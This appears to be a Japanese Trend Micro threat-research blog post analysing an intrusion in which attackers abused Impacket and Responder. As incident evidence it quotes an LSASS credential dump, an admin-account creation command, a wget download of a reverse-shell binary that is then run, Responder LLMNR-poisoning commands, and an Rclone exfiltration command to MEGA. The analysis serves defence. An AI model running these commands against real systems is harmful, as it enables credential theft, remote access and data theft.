マルウェア
Python製ペネトレーションテストツール「Impacket」、「Responder」の悪用手口を分析
トレンドマイクロは、攻撃者がシステム侵入やデータ送出にPython製ペネトレーションテスト(侵入テスト)用ツール「Impacket」、「Responder」を悪用する手口を確認しました。本ブログ記事では、これらのツールに関する主な調査結果を解説します。
トレンドマイクロは、攻撃者がシステム侵入やデータ送出にPython製ペネトレーションテスト(侵入テスト)用ツール「Impacket」、「Responder」を悪用する手口を確認しました。本ブログ記事では、これらのツールに関する主な調査結果を解説します。
近年のサイバー攻撃では、攻撃者が正規ツールやオープンソースツールを感染チェーンの一部として悪用することが一般化しています。この「正規を悪用」する攻撃者の手法は「Living Off the Land(環境寄生攻撃)」と呼ばれ、現在のサイバー攻撃における基本戦略となっています。本ブログでも2021年8月6日の記事で、Windowsの正規ツール「PsExec」や「Windows Management Instrumentation(WMI)」、単純なバッチファイル、あるいはPC HunterやProcess Hackerなどのサードパーティ製ツールが、エンドポイントセキュリティ製品を無効化したり、ネットワーク上での内部活動やデータ送出などに悪用されたりした事例を解説しました。さらに2021年9月8日の記事では、攻撃者がランサムウェア攻撃のために2021年に悪用した正規ツールについても幅広く取り上げました。
トレンドマイクロは最新の調査で2つのPython製ツール「Impacket」、「Responder」が悪用されていることを突き止めました。この2つは目新しいものではありませんが、どちらも通常は侵入テストに用いられるツールであることが注目に値します。サイバー犯罪者は、攻撃範囲を広げて競争優位性を維持するためにしばしば自身の「戦術、手法、手順(Tactics、Techniques、and Procedures)」を高度化することで知られています。組織のセキュリティに関わる管理者は、攻撃者が不正な目的のために正規ツールを巧妙に用いてくることを正しく認識する必要があります。
Python製ツール「Impacket」、「Responder」の定義
Impacketの開発会社「SecureAuth」は、Impacketを「ネットワークプロトコルを取り扱うためのPythonのクラス群」と定義しています。Impacketは、低レベルプログラミングによるパケットへのアクセスや、一部のプロトコル(SMBやMSRPCなど)に対してプロトコル実装そのものを提供します。さらにImpacketは、対象システムに書き込み可能な共有ディレクトリがない場合に用いられる「smbexec.py」などのリモート実行を可能にするツールも利用者に提供します。
一方、オープンソースツール「Responder」は、Windows環境乗っ取り検証用ツールとして内部侵入テストに広く用いられています。MITRE ATT&CK®によれば、攻撃者がResponderを用いる主な目的は「ネームサービスを侵害してローカルネットワーク内のシステムからハッシュや認証情報を窃取すること」です。攻撃者がネームサービスを侵害すると、Responderはハッシュや認証情報を窃取します。さらにResponderは、不正な認証サーバ(ビルドインHTTP、SMB、MSSQL、FTP)を用いて、LLMNR、NBT-NS、MDNSリクエストを侵害するために悪用されます。これらの認証サーバは、NTLMv1、NTLMv2/LMv2、拡張セキュリティ「NTLMセキュリティ・サービス・プロバイダ(NTLMSSP)」、HTTP基本認証に対応しています。このため多くの人がResponderを侵入テストに欠かせないツールと考えています。
これまでの事例では、Windowsの正規ツールの悪用が多く見られましたが、Linuxにおいても状況は同じと言えます。実際、攻撃者が悪用可能なLinuxバイナリの多くがリスト化されており、このリストには「制限付きシェルの抜け出し、権限昇格 / 昇格した権限の維持、ファイル転送、バインドシェルやリバースシェルの作成、侵入後タスクの容易化」などが含まれます。クラウド技術の利用やテレワークの導入が拡大し続ける昨今、攻撃者は必然的にWindowsとLinuxの双方を行き来するようになります。
PythonはWindows / Linuxの両方で動作するため、今回の調査結果は重要な意味を持ちます。企業や組織は、双方のシステム(Windows / Linux)を用いるために汎用性を活用していますが、この汎用性は、サイバー犯罪者にさらなる攻撃の機会を与えるという点で両刃の剣であることが調査結果で示されています。
調査段階で見つかった重要点
攻撃者は、攻撃活動の多くの段階で密かに正規ツールを悪用していたため、トレンドマイクロが確認した検体から侵入経路を検出することは困難でした。トレンドマイクロのスレットハンティングチームが調査を開始したきっかけは、複数のホストコンピュータ内で観測された以下のイベントでした(図1)。
さらにトレンドマイクロは、図1に示すサービスイベントの1日前に、1台のホスト内で認証情報をダンプする不正活動を観測しました。
C:\Windows\system32\rundll32.exe”
C:\windows\System32\comsvcs.dll MiniDump 884
C:\lsass.dmp ull
C:\Windows\system32\rundll32.exe
C:\windows\System32\comsvcs.dll MiniDump 884
C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\lsass.dmp full
上記イベントの異常な組み合わせから、トレンドマイクロのMDR(Managed Detection and Response)チームは、不審な活動の影響が確認されたすべてのエンドポイント(システム端末)を調査しました。その結果、ランダムに生成された不審なサービスが27台のエンドポイントに存在することが判明しました。さらに調査を進めると、感染システムのリストは増えていきましたが、本記事では注目すべきホストのみを取り上げます(図3)。
Windowsが稼働するホスト内で観測された認証情報ダンプ
前項で解説した通り、本インシデントでトレンドマイクロが観測した最初の攻撃の兆候は、利用者のホストコンピュータ(Windows)内での認証情報をダンプする活動です。この活動は、MDRチームが最初に特定したお客さまの侵害されたシステムを通じて実行されました。使用されたコマンドを以下に示します。
powershell rundll32.exe C:\windows\System32\comsvcs.dll MiniDump (Get-Process lsass).id
不思議なことに攻撃者はlsass.dmpファイルをMicrosoft Exchangeとの関連性がなさそうな場所に配置しようと試みました。
C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\lsass.dmp
これは攻撃者がMicrosoft Exchangeの脆弱性を突いて侵入した可能性を示唆しています。しかしながらファイル書き込みの試みが成功した証拠は見つかりませんでした。代わりにlsassのダンプは、攻撃者の次の試みが成功した後にC:\lsass.dmp内に書き込まれました。
最初に感染したマシンおよび侵害された可能性のあるアカウント
トレンドマイクロが観測した認証情報ダンプの前に、決定的なイベントではないものの侵害の可能性を示す手がかりが散見されました。例えば、お客さまのActive Directory(AD)内でトレンドマイクロが特定した2番目に侵害されたアカウントは、攻撃者がリモート・デスクトップ・プロトコル(RDP)を通じてログインするために悪用されていました。その1日後トレンドマイクロは、上記の侵害されたWindows ADにユーザ検出用コマンドが存在することに気づきました。
"cmd.exe" /c net user {username} /domain
このコマンドを1週間注意深く監視した結果、トレンドマイクロは認証情報ダンプに気づくと同時に、攻撃者がこのアカウントを悪用して、以下のネットワークログイン活動を実行しようと繰り返し試みていたことを確認しました。
図4に示すネットワークログから、このログイン活動は、お客さまの2番目に侵害されたWindowsホストに端と発していることが確認できます。しかしながらこのホストをさらに精査してみても、侵入の痕跡(Indication of Compromise)は見つかりませんでした。その後トレンドマイクロは、攻撃者が用いたIPアドレスがLinuxホストに割り当てられていることを突き止めました。ホストに関する名前解決の不一致は、意図しないWindowsの問題、あるいは後項で解説するツールを介したLLMNR/NBT-NSポイズニングによる意図的な試みによるものである可能性があります。
攻撃者によるサービス作成
図5に示した情報に基づき、「最初に感染したマシン」は、侵害されたお客さまのLinuxホストである可能性が高くなりました。ところがこの理論を証明する調査の前に、このホストに関する可視化された情報がありませんでした。今回の仮説は、最初に観測された不審なログイン活動が前項で述べたホストから実行されたという事実を前提としています。その後トレンドマイクロは、攻撃者が侵害された別のユーザアカウントを用いて不審な活動を実行していたことも突き止めました。
Impacketを介して作成された新たなユーザアカウント
スレッドハンティングチームが最初にフラグを立てたサービスは、先ほどご紹介した侵入テストツール「Impacket」のsmbexec.pyによって生成されたイベントであることが判明しました。ところがこのイベントは、不正アプリを実行せずにコマンド「net.exe」を実行するという点で、異例のものでした。攻撃者がこのコマンドを用いる目的は、以下のコマンドに基づき新たなユーザを作成し、ローカル管理者グループに追加することです。
%COMSPEC% /Q /c echo net user xxxxx Xxxx123!@# /add & net localgroup Administrators (username) /add ^> %SYSTEMROOT%\Temp__output > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
このコマンドは、様々なホスト内で実行されました。その後トレンドマイクロが観測したログイン / ログアウトのイベントは、このアカウントが繰り返し悪用されていることを示す十分な証拠であると同時に、新たなユーザアカウントは、攻撃者がアカウントを失った場合に備えて、侵害されたアカウントへのアクセスを回復するためにフェイルセーフ化するためのものであることを示唆しています。
侵害されたエンドポイント・マネージャ・サーバから観測された不審なコマンド実行
トレンドマイクロは調査を続ける中で、お客さまにMDRエージェントのインストールを推奨し、効果的な検知と対応(EDR:Effective Detection and Response)機能を有効にするよう伝えました。これらの措置により、攻撃者によるネットワーク接続を遮断しました。数日後トレンドマイクロは、お客さまが攻撃被害から回復し、サイバーセキュリティのベストプラクティスを実践している間に、攻撃者がお客さまのエンドポイント・マネージャ・サーバを悪用してネットワークに再接続しようと試みていることを観測しました。
図7に示すTrend Micro Vision One ™のProgressive Root Cause Analysis(PRCA)に表示されたイベントの詳細を以下に示します。
OAT name: Read Access On Unix Password File
logonUser: nobody
processFilePath: /usr/bin/php-cgi
objectFilePath: /usr/bin/bash
objectCmd: sh -c cat /etc/passwd
「Trend Micro Vision One™」のMITRE ATT&CKベースの攻撃手法検出を行う機能であるOAT(Observed Attack Technique)の検出結果は、プロセス「php-cgi」が「/bin/bash」シェルを表し、「passwd」を直接読み取っていることを示しており、サーバが侵害された可能性があることを示唆しています。以下は、攻撃者がOAT機能による最初の検出後にさらに多くの不正活動を実行したことを示しています。
攻撃者は、bashuploadからrevssh64をダウンロードしました(図8)。
(OAT name: Wget Execution / Download Via Curl Or Wget)
logonUser: nobody
processFilePath: /usr/bin/bash
processCmd: sh -c wget hXXps://bashupload.com/aDYl5/revssh64 -O /tmp/lin
parentFilePath: /usr/bin/php-cgi
その後攻撃者は、chmodコマンドを使って実行ファイルのパーミッションをrwx-rwx-rwxに変更して誰もが実行できる状態にしました。
(OAT name: Set Execute Attribute Via Chmod)
logonUser:nobody
processFilePath: /usr/bin/bash
processCmd: sh -c chmod 777 /tmp/lin
parentFilePath: /usr/bin/php-cgi
次に攻撃者はtempディレクトリからrevshellを実行しました。
(OAT name: Processes Running Detected From Tmp Directory)
logonUser: nobody
processCmd: sh -c /tmp/./lin -b 5155
objectFilePath: /tmp/lin
parentCmd: /usr/bin/php-cgi
攻撃者は権限をrootに昇格させました。
(OAT name: Elevating privileges to root)
File path: /usr/bin/su
CLI command: su srvroot
User account: nobody
次に攻撃者はroot権限を用いて別のポート上でrevshell(図9)を実行しました。
(OAT name: Unknown Process Launched From TMP Directory)
logonUser: root
processFilePath: /tmp/lin
processCmd: /tmp/./lin -b 6155
この時点で攻撃者は、コマンドライン・インターフェイス(CLI)で用いられるオプションに基づいてLLMNRを侵害するために、以下のようにResponderを実行しました。
(OAT name: Python Execution – Linux)
CLI command:
python Responder.py –help
CLI command: python Responder.py -I eth0 --lm -of /opt/landesk/Responder/logs/
User account: root
CLI command: python Responder.py -I eth0 -w -r --lm -v
ユーザアカウント:root
上記の検知に続きトレンドマイクロは、internal-ip:445(SMB)からattacker-ip:443(HTTPS)まで、攻撃者のIPアドレスと通信している一部の内部コンピュータを発見しました。
オープンソースツール「Responder」の利用用途
本記事では、攻撃者の侵入先Windows AD内で確認された最初の不審なログインイベント(図1)と、ホストコンピュータに対する名前解決の間で不一致(図4)があることをお伝えしました。この不一致は、攻撃の早い段階でResponderが用いられたことに起因する可能性があります。図10(参照元:SleepySysAd)に示すように、Responderはネットワークを待機(リッスン)してパスワードハッシュ / ユーザ名を予測する機能を備えています。これはWindowsクライアントがDNS(Domain Name System)を用いてホスト名を名前解決できない場合に機能します。こうした場合、ResponderはLLMNRプロトコルやNBT-NSを使って近くのシステムに問い合わせを行います。このときにLLMNR/NBT-NSのブロードキャストをネットワークで待機し、Windowsクライアントが接続しようとするサーバになりすますことで、リクエストを不正に変更します。その後、Windowsクライアントはユーザ名 / パスワードハッシュをResponderに渡します。収集されたパスワードのNTLMハッシュは、John the Ripperなどのツールを用いて攻撃者によってクラックされる可能性があります。
Rclone / MegaSyncを通じたデータ送出の流れ
HackTool.Win32.RAdmin.GBは、侵害されたシステムから攻撃者にリモートでの任意のコマンド実行を可能にするハッキングツールです。このツールはcmd.exeを起動した後、クラウドストレージ上のファイルを管理するコマンドライン・プログラム「Rclone」を始動し、以下のコマンドラインを使ってクラウドベースの同期ツール「MegaSync」にデータを送出します。
cmd.exe /c C:\ProgramData\System\svchost.exe copy "Source_directory" mega:folder -q --
ignore-existing --auto-confirm --multi-thread-streams 10 --transfers 10 --no-console --config
"C:\ProgramData\System\svchost.conf"
図12に示す設定ファイル(.conf)には、攻撃者がRcloneからMegaSyncへのデータ送出に用いたアカウントのユーザ名 / パスワードが含まれています。これらのアカウントは、トレンドマイクロが再びアクセスを試みたときには機能していませんでした。
セキュリティに関する推奨事項
MDRチームは、企業や組織がネットワーク環境全体に監視ソリューションを適用することで効果的に業務を遂行することができます。また、ネットワーク環境における可視性の欠如から生じるリスクについて利害関係者間で認識を高める必要があります。これは、利害関係者が無意識のうちにシステムを脆弱な状態に置くことで、セキュリティチームの業務がより困難なものになる可能性があるからです。企業や組織のシステム全体が可視化されていない場合、攻撃者は「戦術、手法、手順(TTP)」を変更して内部活動(情報収集、拡散活動など)を実行しやすくなるため、多くの損害を被る可能性が高くなります。
事前予防にも配慮したサイバーセキュリティの考え方を採用し、サイバーセキュリティの衛生慣行を一貫して実施することは、リスクを軽減し、システム侵入を防ぐために不可欠です。脅威動向は常に変化しているため、情報経済社会はこれらの継続的なリスクや脅威の高度化に対処する必要があります。企業や組織は、セキュリティに関する以下のベストプラクティスを実践することが推奨されます。
- 絶対に必要な場合にのみ、プログラムやデバイスをインターネットに接続すること。クラウド・インフラストラクチャの一部を外部公開することで、攻撃者がクラウド環境にアクセスする機会が生まれます。
- インターネット接続を要するインフラや重要システムを優先してシステムアップグレードや修正プログラム(パッチ)の適用すること。
- ソフトウェアアプリやオペレーティングシステム(OS)には、常に最新のセキュリティパッチを適用すること。LLMNRやNBT-NSなどの攻撃者が簡単に権限昇格できる古くから存在する脆弱なプロトコルは無効化 / 設定変更すること。
- 組織のネットワーク全体に対する可視性を備えた監視ソリューションを導入すること。セキュリティや監視の盲点は、未検出や侵害の長期化につながる可能性があります。
- 30~60日分のイベントログを分析調査に活用できることを確認すること。侵害が長期化した場合、こうしたデータは侵害されたエンドポイントの影響範囲を特定するためにMDRチームが実施する分析調査の助けとなります。ローカルストレージの閾値 / RETENTIONパラメータを調整する、あるいはログを集中管理する場所を検討すること。
トレンドマイクロの対策
すべての基盤に対策が行き渡るようシステム全体を包括的に保護し、本記事で解説したような脅威やその他サイバー攻撃を抑止可能なセキュリティソリューションを導入することが推奨されます。
「Trend Micro Vision One™」は、XDR(Extended Detection and Response)ソリューションを超える付加価値と新たなメリットを提供し、企業が「より多くを把握し、迅速に対応する」という目的を実現する脅威防御のプラットフォームです。メール、エンドポイント、サーバ、クラウドワークロード、ネットワークといった複数のセキュリティレイヤにまたがる情報を収集し、自動的に相関させる深く幅広いXDR機能を提供する「Trend Micro Vision One™」は、自動化された防御機能によって攻撃の大半を防ぐことが可能となります。
参考記事:
• 「Analyzing Penetration-Testing Tools That Threat Actors Use to Breach Systems and Steal Data」
By: Dustin Childs, Zero Day Initiative
翻訳:益見 和宏(Core Technology Marketing, Trend Micro™ Research)